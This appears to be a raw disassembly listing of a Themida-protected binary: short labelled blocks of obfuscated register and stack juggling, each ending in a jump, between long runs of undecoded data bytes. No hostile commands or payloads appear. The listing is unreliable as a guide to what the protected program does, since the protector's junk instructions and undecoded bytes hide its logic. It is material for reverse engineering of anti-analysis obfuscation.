		dd 2C0F685Bh, 1C890000h, 0C068B724h, 14E903E7h,	66FFFFCFh
		dd 0E9240C8Bh, 8054h, 1B0F42BFh, 0E9FA010Dh, 1610h
; ---------------------------------------------------------------------------


loc_4F9950:				; CODE XREF: Themida_:00500A92j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_4FFE97
; ---------------------------------------------------------------------------


loc_4F997A:				; CODE XREF: Themida_:004FCA7Ej
		add	esi, ecx
		add	esi, 14BE2F81h
		pop	ecx
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_4F9725
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0C38107E3h, 0DB4EB884h, 1AE9D901h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F99A7:				; CODE XREF: Themida_:00501855j
		mov	edx, 4
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 7CE13471h
		mov	esi, 7CE13475h
		push	edx
		jmp	loc_4F7C81
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 5066C3FEh, 63E917B4h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4F99DB:				; CODE XREF: Themida_:005007CCj
		pop	ebx
		inc	ebx
		or	ebx, 1EDE3531h
		or	ebx, 248E1493h
		shl	ebx, 1
		not	ebx
		jmp	loc_4FC7FC
; ---------------------------------------------------------------------------
		dw 0F680h
		dd 0CDF68089h, 4334E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F99FD:				; CODE XREF: Themida_:004F707Dj
		mov	edx, 0
		sub	edx, esi
		mov	esi, edx
		pop	edx
		xor	esi, 4C406D0Fh
		xor	esi, 0C2BBADABh
		jmp	loc_4FA7B3
; ---------------------------------------------------------------------------
		dd 6824048Fh, 5260h, 0B8240489h, 4, 4244401h, 2434FF58h
		dd 4C4835Dh, 4C581h, 0C5830000h, 242C8704h, 0FF24248Bh
		dd 0E99C2404h, 0FFFFC2C6h
; ---------------------------------------------------------------------------


loc_4F9A4C:				; CODE XREF: Themida_:004FCB46j
		xchg	edi, [esp]
		jmp	loc_4FBF78
; ---------------------------------------------------------------------------


loc_4F9A54:				; CODE XREF: Themida_:004FFE70j
		xor	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_50115A
; ---------------------------------------------------------------------------
		db 0BAh
		dd 3F4428E2h, 565AD621h, 0E9241CF7h, 4ABFh, 0D0E9C629h
		dd 0B9FFFFD1h, 65890D04h, 0F5E9CB29h, 66000071h, 0D5BAE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F9A92:				; CODE XREF: Themida_:004F9157j
		add	esi, 424F134Fh
		sub	esi, 0A7323C49h
		sub	ecx, esi
		pop	esi
		pop	edi
		push	1
		jmp	loc_4FB9DE
; ---------------------------------------------------------------------------
		dd 0E924048Fh, 81D1h, 0FFC0B60Fh, 53E98734h, 81FFFFC2h
		dd 3C1867C3h, 0C2EB8159h, 8F491C0Bh, 0E12AE900h, 0E530FFFFh
		dd 7E5C058h, 0E9F5ED80h, 2859h,	0E902E3C1h, 0FFFFDFC7h
		dd 206868h, 24248900h, 4B95156h, 89000000h, 740159CEh
		dd 19E90424h, 58FFFFEFh, 4EB81h, 0FCE90000h, 21000000h
		dd 0B85059CAh, 28FB68EBh, 7ABFE9h, 4EC8100h, 89000000h
		dd 68BE2434h, 8332D26Dh, 0EEC101C6h, 2677E908h,	0D3010000h
		dd 0FFC971E9h, 0D3CB2DFFh, 0FE975B7h, 81000038h, 5D8C6FC1h
		dd 1B852D35h, 0E4E9757Bh, 5DFFFFEAh, 835EF501h,	2C8702C5h
		dd 31FAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F9B66:				; CODE XREF: Themida_:004FED9Bj
		mov	[esp], esi
		mov	esi, 2
		add	ecx, 661969FBh
		add	ecx, esi
		jmp	loc_4FA866
; ---------------------------------------------------------------------------


loc_4F9B7B:				; CODE XREF: Themida_:005001E3j
		sub	esi, 227582A4h
		add	edi, 151B00FFh
		sub	edi, esi
		jmp	loc_4F9D03
; ---------------------------------------------------------------------------


loc_4F9B8E:				; CODE XREF: Themida_:004F8F0Cj
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_4F85FA
; ---------------------------------------------------------------------------
		db 81h
		dd 556DABE1h, 5CE9811Fh, 89B4C127h, 0E95559CBh,	23F8h
; ---------------------------------------------------------------------------


loc_4F9BC0:				; CODE XREF: Themida_:004FE047j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shr	eax, 12h
		xor	eax, ecx
		push	7E26h
		jmp	loc_4FCB23
; ---------------------------------------------------------------------------
aXwsb		db 'XWéB\',0
		dw 8900h
		dd 0E954240Ch, 63DDh, 0E959C831h, 5374h, 348BF289h, 0E7895724h
		dd 5025E950h, 0FD010000h, 56AFED81h, 57E93505h,	83FFFFC1h
		dd 1C8904ECh, 2474FF24h, 48F5B04h, 24248B24h, 50241489h
		dd 0C0ECE99Ch, 1C89FFFFh, 97B95124h, 0BB337F50h, 337F5099h
		dd 5783EB81h, 0EB814D33h, 72061BD3h, 494EEB81h,	0CB2929D7h
		dd 494EC381h, 0C38129D7h, 72061BD3h, 67C3E9h, 81D60100h
		dd 0F07789C6h, 0EE815A34h, 0C640F54h, 0BC7BA52h, 0DAF70F64h
		dd 171568h, 4DECE900h, 0ED810000h, 0B42E7C96h, 34FFEB01h
		dd 0CCB7E924h, 1487FFFFh, 8B665C24h, 89532404h,	0E9BA52E3h
		dd 8114F706h, 937152F2h, 67E95019h, 30000006h, 3C32243Ch
		dd 243C3024h, 6866C786h, 37E948B1h, 0B6FFFFCFh,	0B65266A6h
		dd 66F3000Dh, 56F5E95Ah, 0CF290000h, 0CF31F931h, 0C15FF931h
		dd 0D9F706E9h, 36636853h, 0AAE96553h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4F9CE3:				; CODE XREF: Themida_:004FC126j
		push	edx
		mov	edx, 74AB4A63h
		push	edx
		mov	edx, 338D50BAh
		shr	edx, 4
		add	edx, 2BC90DCFh
		add	edx, 4771BBA8h
		jmp	loc_4FFF0D
; ---------------------------------------------------------------------------


loc_4F9D03:				; CODE XREF: Themida_:004F9B89j
		sub	edi, 151B00FFh
		pop	esi
		xor	ecx, edi
		jmp	loc_4FC02E
; ---------------------------------------------------------------------------
		db 0BEh, 0C2h, 0Bh
		dd 0EB81491Ch, 0CAC0F0Dh, 650DE9h, 6EDC000h, 28A5ED80h
		dd 240C8BE8h, 2C04C483h, 4D8282Ch, 691F682Ch, 14890000h
		dd 0FECEB224h, 80D2F6CAh, 0B3532CC2h, 80D3F63Fh, 0D82806EBh
		dd 0E9D0005Bh, 0A33h, 0E969EF80h, 8107h, 240C8B66h, 22268h
		dd 24348900h, 5143E954h, 50680000h, 5B24406Eh, 6ABCE9h
		dd 4EC8300h, 5E243C89h,	59C2815Fh, 15E5866h, 59EA81F2h
		dd 5E5E5866h, 11D8E9h, 52565C00h, 20F1E9h, 5BDE0100h, 4C681h
		dd 34870000h, 4744E924h, 0C3310000h, 0FFC954E9h, 66C788FFh
		dd 0E924048Bh, 486Fh, 657EEF81h, 0F78168DDh, 1DD356F7h
		dd 0A9CAEF81h, 0C181D1C1h, 707649AAh, 0E981F901h, 707649AAh
		dd 5F2434FFh, 81E38953h, 4C3h, 4C38100h, 87000000h, 0DCE9241Ch
		dd 28000078h, 148B66F7h, 3FFCE924h, 5A540000h, 4C281h
		dd 0EA830000h, 24148704h, 2AC2E95Ch, 0E95B0000h, 0FFFFBEEEh
		dd 8952B3B0h, 4B951E2h,	1000000h, 41C0E9CAh, 0BE560000h
		dd 61A8552Ah, 348BF729h, 0F9A9E924h, 0EB81FFFFh, 560B6991h
		dd 0FFC122E9h, 243C8BFFh, 0FFD3E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4F9E59:				; CODE XREF: Themida_:004F758Ej
		pop	edi
		jmp	loc_4FCA97
; ---------------------------------------------------------------------------
		db 68h
		dd 6D09h, 53240C89h, 0B35BB050h, 58C33043h, 0C5FE36B5h
		dd 53E0E9h
		db 0
; ---------------------------------------------------------------------------


loc_4F9E79:				; CODE XREF: Themida_:004FE610j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_501F88
; ---------------------------------------------------------------------------
		db 66h
		dd 4A66DAF7h, 7CC28166h, 8805667Ch, 0ED2D6647h,	0D0016610h
		dd 10ED0566h, 0FFEBABE9h, 66C828FFh, 0E9240C8Bh, 0FFFFC036h
		dd 24343359h, 7F1E9h, 66D80000h, 3D236852h, 1C890000h
		dd 0B680B324h, 28EE805Dh, 0ACC680h, 93B551DEh, 0F6D4E580h
		dd 5ECD80DDh, 607AE9h, 0BA525D00h, 6A54AD1h, 565AD129h
		dd 0F389CE89h, 3EA9E9h,	85E98100h, 8150C92Ah, 870C0CE9h
		dd 59CE31B1h, 5E1C7721h, 0FFBE05E9h, 8953ADFFh,	4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 0A34878B8h, 6E0C113h
		dd 62172905h, 5E0C14Ch,	2295CC2Dh, 0E9C6019Ah, 0FFFFEB32h
		dd 0C5005934h, 82ECE9h,	0F2295F00h, 0BF57425Eh,	0BC581AF9h
		dd 0FFEB5CE9h, 4C483FFh, 405h, 9CE95300h, 56FFFFE2h, 4BEh
		dd 5EF00100h, 0FFD5EEE9h, 38CF81FFh, 0C152F81Ah, 0EF8705E7h
		dd 0EF87D5F7h, 8108E7C1h, 0CF70E6EFh, 0EAC7817Ch, 1689671h
		dd 243C8BFBh, 8104C483h, 2EBh, 241C8700h, 0C89665Ch, 0B60F6624h
		dd 9C5166C8h, 50F5E9h, 2434FF00h, 4C4835Ah, 22A26866h
		dd 24148966h, 0B653B551h, 0E9EE302Fh, 0FFFFC288h, 0E92434FFh
		dd 3E9Fh, 35EEE957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4F9FDE:				; CODE XREF: Themida_:004F6867j
		sub	ebp, 1D265976h
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 7D0337A6h
		push	edi
		mov	edi, 25E35B2Ah
		or	edx, edi
		pop	edi
		add	edx, 67524266h
		jmp	loc_4F890E
; ---------------------------------------------------------------------------
		db 28h
		dd 0E68058E6h, 80C6FE0Ch, 0F72831EEh, 0E9F8285Ah, 75A6h
		dd 0F8685366h, 89000012h, 68662414h, 5A667258h,	0B9665166h
		dd 316614DBh, 665966CAh, 665AD389h, 6653CC2Dh, 566D829h
		dd 5B6653CCh, 81535266h, 4ECh, 34FCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FA056:				; CODE XREF: Themida_:00500915j
		not	esi
		shl	esi, 6
		jmp	loc_4FE41C
; ---------------------------------------------------------------------------
		dd 4E197A05h, 0E87EE948h, 0F766FFFFh, 0E99C241Ch, 0FFFFBC9Eh
		dd 55F668h, 24048900h, 0EC815854h, 4, 0BD242C89h, 3D5A09BDh
		dd 0F708EDC1h, 0DC581DDh, 0E9003D5Ah, 0FFFFE3F4h, 24048B66h
		dd 0FFE9E5E9h, 815966FFh, 4ECh,	2124E900h, 0F0280000h
		dd 6AA8E95Ah, 0BA520000h, 18E277C1h, 2FE2E281h,	0C28110EFh
		dd 0EF1DDC40h, 0FF1C5709h, 0E95A2434h, 0FFFFF1DEh
; ---------------------------------------------------------------------------


loc_4FA0D8:				; CODE XREF: Themida_:004FDE01j
		add	edx, 589FAF81h
		sub	ebx, edx
		jmp	loc_4FCEEC
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0CF805FB7h, 0AEB65236h, 805AF730h, 0FA2884F7h, 0FFC8DBE9h
		dd 43E950FFh, 0FFFFC6h,	0C5E95BD9h, 68FFFFE5h, 6AE8h, 0E9241489h
		dd 376Fh, 617BE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FA11E:				; CODE XREF: Themida_:005000ADj
		pop	ecx
		dec	edx
		shl	edx, 7
		add	edx, 184D2493h
		mov	esi, edx
		pop	edx
		add	esi, 72CB02CDh
		shl	esi, 5
		jmp	loc_4F7131
; ---------------------------------------------------------------------------


loc_4FA13A:				; CODE XREF: Themida_:004F7916j
		mov	edi, [esp]
		add	esp, 4
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_4F94FA
; ---------------------------------------------------------------------------
		dw 0EB8h
		dd 480A181Dh, 4803E0C1h, 6B47E952h, 315B0000h, 1C33241Ch
		dd 576EE924h, 9C500000h, 0FFBBA1E9h, 58C201FFh,	4C2835Dh
		dd 2474FF52h, 48F5A04h,	78E95C24h, 0BBFFFFD2h, 2049628Fh
		dd 0FFF806E9h, 4C383FFh, 0FFED59E9h, 5E9C1FFh, 5EA6E181h
		dd 0E9816077h, 8288F979h, 0FF59CE29h, 48B2434h,	2545E924h
		dd 0D9F60000h, 0E9DAC180h, 150Dh
; ---------------------------------------------------------------------------


loc_4FA1C0:				; CODE XREF: Themida_:004FAA7Dj
		push	dword ptr [esp+4]
		jmp	loc_4FC9E1
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 9Ah
		dd 0E915E202h, 0FFFFDECBh, 16E98141h, 898F6EC5h, 0D78959CAh
		dd 5FF8015Ah, 5C240487h, 0FF2434FFh, 0E9582434h, 0FFFFD6F6h
		dd 815DEF01h, 4C7h, 243C8700h, 596DE9h,	9BEC8000h, 0C480EC00h
		dd 0D917E99Bh, 48BFFFFh, 5F545724h, 4BB53h, 0DF010000h
		dd 3DFCE9h
		db 0
; ---------------------------------------------------------------------------


loc_4FA225:				; CODE XREF: Themida_:00502579j
		shr	ecx, 2
		jmp	loc_4FBF61
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0E9h
		dd 2E436AD6h, 0E901C183h, 5562h
; ---------------------------------------------------------------------------


loc_4FA23C:				; CODE XREF: Themida_:004FA8F3j
		pop	edx
		add	esp, 4
		push	edi
		push	edx
		jmp	loc_501CC0
; ---------------------------------------------------------------------------


loc_4FA24A:				; CODE XREF: Themida_:004F939Aj
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	4A0Fh
		mov	[esp], eax
		mov	eax, 92B116Dh
		add	eax, 0F6D4EE97h
		add	ebx, 392850C9h
		add	ebx, eax
		jmp	loc_50171B
; ---------------------------------------------------------------------------
		dw 489h
aSW		db '$°ÄéÙW',0
		align 4


loc_4FA278:				; CODE XREF: Themida_:004FF571j
		pop	ebp
		push	2C3h
		mov	[esp], eax
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_4FCC35
; ---------------------------------------------------------------------------
		dd 4B951h, 81E90000h, 0BD00005Ch, 44237D8Ch, 1AC6E9h, 4EC8100h
		dd 89000000h, 68BE2434h, 895FF052h, 0D034E9F1h,	0E95AFFFFh
		dd 0FFFFEF86h, 8107E3C0h, 2ECh,	14896600h, 66DE8824h, 0FFB450h
		dd 515866E6h, 0EB88F588h, 83240C8Bh, 5A6604C4h,	594AE9h
		dd 89E95700h, 0BD000046h, 6EE043Eh, 0F75DE821h,	56ABE9D8h
		dd 16B80000h, 0E9401670h, 50D3h, 3005CA81h, 0D2F76DCFh
		dd 5AE9D2F7h, 0E9FFFFD7h, 0FFFFB9E6h, 175F89BAh, 47CA8145h
		dd 0C10D6626h, 0C28108EAh, 6E690AD9h, 6B00E281h, 0F281358Fh
		dd 24860204h, 148BD501h, 4C48324h, 4C581h, 6DE90000h, 66000083h
		dd 68240C8Bh, 748h, 89240C89h, 4EC83E1h, 0BF243C89h, 4
		dd 4E9F901h, 100000Eh, 57565AD3h, 2BFh,	0F55DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FA38E:				; CODE XREF: Themida_:00500122j
		pop	ebx
		jmp	loc_4FC486
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 243C8704h, 1013685Ch, 14890000h
		dd 0E95A5424h, 1DCCh, 0B95CE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FA3B6:				; CODE XREF: Themida_:004FB791j
		xchg	esi, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_4FEE5B
; ---------------------------------------------------------------------------
		dd 0FFB945E9h, 4C781FFh, 0E9000000h, 0FFFFCA1Dh
; ---------------------------------------------------------------------------


loc_4FA3D8:				; CODE XREF: Themida_:004FDA3Cj
		pop	ebp
		mov	dword ptr [edi+24h], 640B6F2Eh
		sub	[edi+24h], ecx
		pop	ecx
		xor	edx, edx
		jmp	loc_4F6C75
; ---------------------------------------------------------------------------


loc_4FA3EB:				; CODE XREF: Themida_:004FE425j
		pop	esi
		add	ebx, edx
		pop	edx
		jmp	loc_4F93E6
; ---------------------------------------------------------------------------
		dd 895FFE01h, 0E8315EF5h, 83242C8Bh, 0E95204C4h, 1143h
		dd 805AD108h, 0C82884E9h, 0E9C18859h, 4012h
; ---------------------------------------------------------------------------


loc_4FA418:				; CODE XREF: Themida_:004FDCC0j
		sub	dword ptr [esp], 1EF90130h
		push	esi
		mov	esi, 634F64AFh
		add	[esp+4], esi
		pop	esi
		push	edi
		mov	edi, 7043243Bh
		jmp	loc_4FB28C
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0C4810000h, 4, 4C781h, 0BD550000h, 11CA1EF5h
		dd 0FFE106E9h, 82BE56FFh, 1FB0215h, 0E8E95EF0h,	0FF000020h
		dd 46E92434h, 81000056h, 0DA726FEDh, 0C5835B3Fh, 3DE95502h
		dd 89000022h, 0F58159CDh, 2FCC4589h, 7CD7ED81h,	0ED816033h
		dd 516E5039h, 0BF06E953h, 77E9FFFFh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FA49B:				; CODE XREF: Themida_:004FE682j
		add	ebp, 4
		jmp	loc_4F6D61
; ---------------------------------------------------------------------------
		dw 565Dh
		dd 0FFBB15E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FA4AD:				; CODE XREF: Themida_:004F957Ej
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_4FA4B4:				; CODE XREF: Themida_:00500682j
		push	55BCh
		mov	[esp], esi
		push	ebx
		jmp	loc_4FFFD1
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 74EC12FFh, 535BD989h, 0F8606ABBh, 0BB7AE94Eh, 0EA81FFFFh
		dd 4C715BE7h, 0FFC7EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FA4E1:				; CODE XREF: Themida_:004F7BF7j
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, eax
		jmp	loc_50096A
; ---------------------------------------------------------------------------


loc_4FA4F0:				; CODE XREF: Themida_:004F76ABj
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_4FE814
; ---------------------------------------------------------------------------
		db 57h
		dd 7B240481h, 0E9344412h, 1351h
; ---------------------------------------------------------------------------


loc_4FA50C:				; CODE XREF: Themida_:004F8A17j
		xor	esi, [esp]
		xor	[esp], esi
		mov	eax, [esp]
		push	esi
		jmp	loc_4FB316
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 2414895Ch, 0AA694268h
		dd 0C14A5A52h, 0DAF703E2h, 0AE0CF281h, 0D5092917h, 4AE5815Ah
		dd 81079E19h, 7D3CF2CDh, 0A7F58113h, 890FF29Dh,	0C77FE9EFh
		dd 0CF81FFFFh, 3DB4FB8h, 8102EFC1h, 821F3EE7h, 6FEF8119h
		dd 1F95AE9h, 0EAE95FFBh
		db 36h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FA57B:				; CODE XREF: Themida_:004FB5EDj
		add	esp, 4
		and	eax, esi
		jmp	loc_4F9091
; ---------------------------------------------------------------------------


loc_4FA588:				; CODE XREF: Themida_:0050136Fj
		sub	ecx, esi
		pop	esi
		push	esi
		push	eax
		push	ecx
		add	dword ptr [esp], 23CC0C7Ch
		pop	eax
		sub	eax, 23CC0C7Ch
		push	eax
		mov	esi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		mov	eax, esi
		jmp	loc_4F8599
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 6FD3676Fh, 42354505h, 2DF80147h, 47423545h, 4E51055Fh
		dd 0D8016464h, 6AA6E957h, 0C3800000h, 5BDA8831h, 0E951DAF6h
		dd 19EEh
; ---------------------------------------------------------------------------


loc_4FA5E0:				; CODE XREF: Themida_:004FEDE8j
		or	eax, eax
		jz	loc_4F8E86
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		jmp	loc_4FB749
; ---------------------------------------------------------------------------


loc_4FA5F3:				; CODE XREF: Themida_:004F8BECj
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_4FC5BB
; ---------------------------------------------------------------------------


loc_4FA605:				; CODE XREF: Themida_:004FC6A4j
		pop	edx
		jmp	loc_4FC03F
; ---------------------------------------------------------------------------
		db 66h
		dd 2404A30Fh, 0B6FCE99Ch, 4BAFFFFh, 81000000h, 4A0DE8C5h
		dd 52D52916h, 4A0DE8BAh, 5AD52916h, 126DE95Ah, 50420000h
		dd 62BB5351h, 81504029h, 0DBE8C9EBh, 0E9D98912h, 0B19h
		dd 0D690E95Ah, 815FFFFFh, 711B83C7h, 2C8B570Ch,	4C48124h
		dd 5F000000h, 0EC5E581h, 0E5C15E58h, 0CEED8106h, 532284DBh
		dd 5D5D6DBBh, 5BD8293Ah, 6D05E801h, 8B3A5D5Dh, 0C483242Ch
		dd 68565204h, 12E2h, 16B2E9h, 0B67CE900h, 0E955FFFFh, 7821h
		dd 240C8B66h, 1EF68h, 4B07E900h, 34310000h, 24343324h
		dd 0A35E9h
		db 0
; ---------------------------------------------------------------------------


loc_4FA6B5:				; CODE XREF: Themida_:004FAA3Fj
		pop	esp
		jmp	loc_4F7B52
; ---------------------------------------------------------------------------


loc_4FA6BB:				; CODE XREF: Themida_:004F7522j
		add	esp, 4
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		jmp	loc_4FD1B2
; ---------------------------------------------------------------------------
		dd 4205EAC1h, 4161B951h, 0F18145C5h, 14DA541Ch,	0E981D9F7h
		dd 0F8F7295h, 0FFDA69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FA6E9:				; CODE XREF: Themida_:004FE7ADj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5025EF
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E2895224h, 0ACBD5556h, 0E92E906Ah, 37F5h
; ---------------------------------------------------------------------------


loc_4FA708:				; CODE XREF: Themida_:004F8AD1j
		add	esp, 4
		jmp	loc_4F84AF
; ---------------------------------------------------------------------------


loc_4FA713:				; CODE XREF: Themida_:004F78E5j
		pop	ecx
		shr	esi, 1
		add	esi, 459C7C2Ah
		jmp	loc_4FEAE4
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 4
aBsAjS		db 'éµA¦ÞéÃ',9,0
		dw 0AC00h
aFrK		db 'fR¶k',0
		db 0F0h, 66h, 5Ah
		dd 0DEE9FD04h, 83FFFFDFh, 48904ECh, 0E9E08924h,	7EEAh
; ---------------------------------------------------------------------------


loc_4FA74C:				; CODE XREF: Themida_:00502584j
		pop	esp
		jmp	loc_4F63F9
; ---------------------------------------------------------------------------


loc_4FA752:				; CODE XREF: Themida_:004FD0C3j
		add	esp, 4
		jmp	loc_4FFC79
; ---------------------------------------------------------------------------


loc_4FA75A:				; CODE XREF: Themida_:004FA9E1j
		xor	edx, ebp
		pop	ebp
		jmp	loc_4FD76E
; ---------------------------------------------------------------------------


loc_4FA762:				; CODE XREF: Themida_:004FE0DFj
		mov	[esp], edx
		jmp	loc_4FD1DF
; ---------------------------------------------------------------------------
		dw 0E959h
		dd 0FFFFB983h
; ---------------------------------------------------------------------------


loc_4FA770:				; CODE XREF: Themida_:004F8607j
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_4FED18
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 240C8904h, 75762BB9h, 60E95062h, 4000041h, 0EC835ABAh
		dd 241C8904h, 0B252BCB3h, 0E9D3306Ah, 0FFFFC041h, 0B1EE815Eh
		dd 8953A91Dh, 7437E9F2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FA7AE:				; CODE XREF: Themida_:00500526j
		jmp	loc_4F5D12
; ---------------------------------------------------------------------------


loc_4FA7B3:				; CODE XREF: Themida_:004F9A13j
		sub	ecx, esi
		jmp	loc_4F5F8E
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 1000000h, 24048BC2h, 0E904C483h, 94Fh, 815F5457h
		dd 4C7h, 4EF8300h, 5C243C87h, 54241C89h, 0D7E6E95Bh, 48DFFFFh
		dd 7E31E987h, 0C9FE0000h, 0E904E1C0h, 37EFh, 0E9D5015Fh
		dd 0FFFFDBE9h, 0E9241C89h, 4291h, 8702C083h, 0D35C2404h
		dd 0E99C2404h, 0FFFFB4F6h, 92E95966h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_4FA823:				; CODE XREF: Themida_:004F74D6j
		mov	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_4FE292
; ---------------------------------------------------------------------------
		dd 4BBh, 43E50500h, 2C050C91h, 13C4825h, 6DDE9D8h, 0B5680000h
		dd 89000039h, 65E92414h, 0FF000047h, 669D1C77h,	2414D359h
		dd 0B4ACE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4FA866:				; CODE XREF: Themida_:004F9B76j
		sub	ecx, 661969FBh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5018E4
; ---------------------------------------------------------------------------
		db 0BFh
		dd 6DF809CDh, 16B4E781h, 0C7813437h, 7F442B2h, 295FFB29h
		dd 36BF57D3h, 12C2443h,	35E95FFBh, 66000058h, 0E95FB652h
		dd 0FFFFF557h, 7BE9FE09h, 0FF000009h, 51582434h, 0C181E189h
		dd 4, 8904EC83h, 4BA2414h, 81000000h, 2C6099E9h, 81D10122h
		dd 2C6099C1h, 563E922h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_4FA8DA:				; CODE XREF: Themida_:004FCFEEj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		add	dword ptr [esp], 6FA574FEh
		pop	eax
		sub	eax, 6FA574FEh
		push	dword ptr [esp]
		jmp	loc_4FA23C
; ---------------------------------------------------------------------------


loc_4FA8F8:				; CODE XREF: Themida_:004F8FF3j
		pop	ecx
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		inc	ebp
		xor	ebp, 0E770F712h
		push	ebp
		jmp	loc_4FDFD1
; ---------------------------------------------------------------------------


loc_4FA90E:				; CODE XREF: Themida_:00500CA0j
		pop	esi
		push	edx
		push	esp
		mov	edx, [esp]
		jmp	loc_4FF46C
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 3C8B5457h, 4C48124h,	81000000h, 4C7h, 4C78300h, 31243C33h
		dd 3C33243Ch, 51BCE924h, 815A0000h, 560D1DC2h, 76568D5h
		dd 14890000h, 40B85024h, 3158550Ch, 58042444h, 40F6815Eh
		dd 5A58550Ch, 6165CE81h, 0EC813F1Eh, 4,	0B9240C89h, 4AAB3700h
		dd 5559CE31h, 173305BDh, 0E9EE297Fh, 7C93h, 543764BAh
		dd 0E9D5093Dh, 45F6h, 0C304C483h, 0FFB379E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_4FA999:				; CODE XREF: Themida_:004FE600j
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_4FC9CA
; ---------------------------------------------------------------------------


loc_4FA9A2:				; CODE XREF: Themida_:004FC317j
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_5022CB
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 8Fh
		dd 0E9C7DCD7h, 0FFFFE559h
; ---------------------------------------------------------------------------


loc_4FA9B8:				; CODE XREF: Themida_:004F7869j
		or	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6261168Ch
		shr	eax, 8
		neg	eax
		or	eax, 553D5DA9h
		push	edx
		push	ebp
		mov	ebp, 60EC394Eh
		mov	edx, 8B6246Bh
		jmp	loc_4FA75A
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 34Ah, 8003E5C0h, 0ED80EEC5h,	59EB00F9h, 66C0B60Fh, 0E987048Fh
		dd 0FFFFB30Eh
; ---------------------------------------------------------------------------


loc_4FAA04:				; CODE XREF: Themida_:004F6DBCj
		push	ebp
		mov	ebp, 508B5AC6h
		inc	ebp
		xor	ebp, 6E5F6BD0h
		and	ebp, 4B0D5B14h
		add	ebp, 0F5FBEEEEh
		sub	esi, 2F087D88h
		jmp	loc_4F9474
; ---------------------------------------------------------------------------
aSP_zSj_	db 'S»¯_§]éj_',0
		db 0
; ---------------------------------------------------------------------------


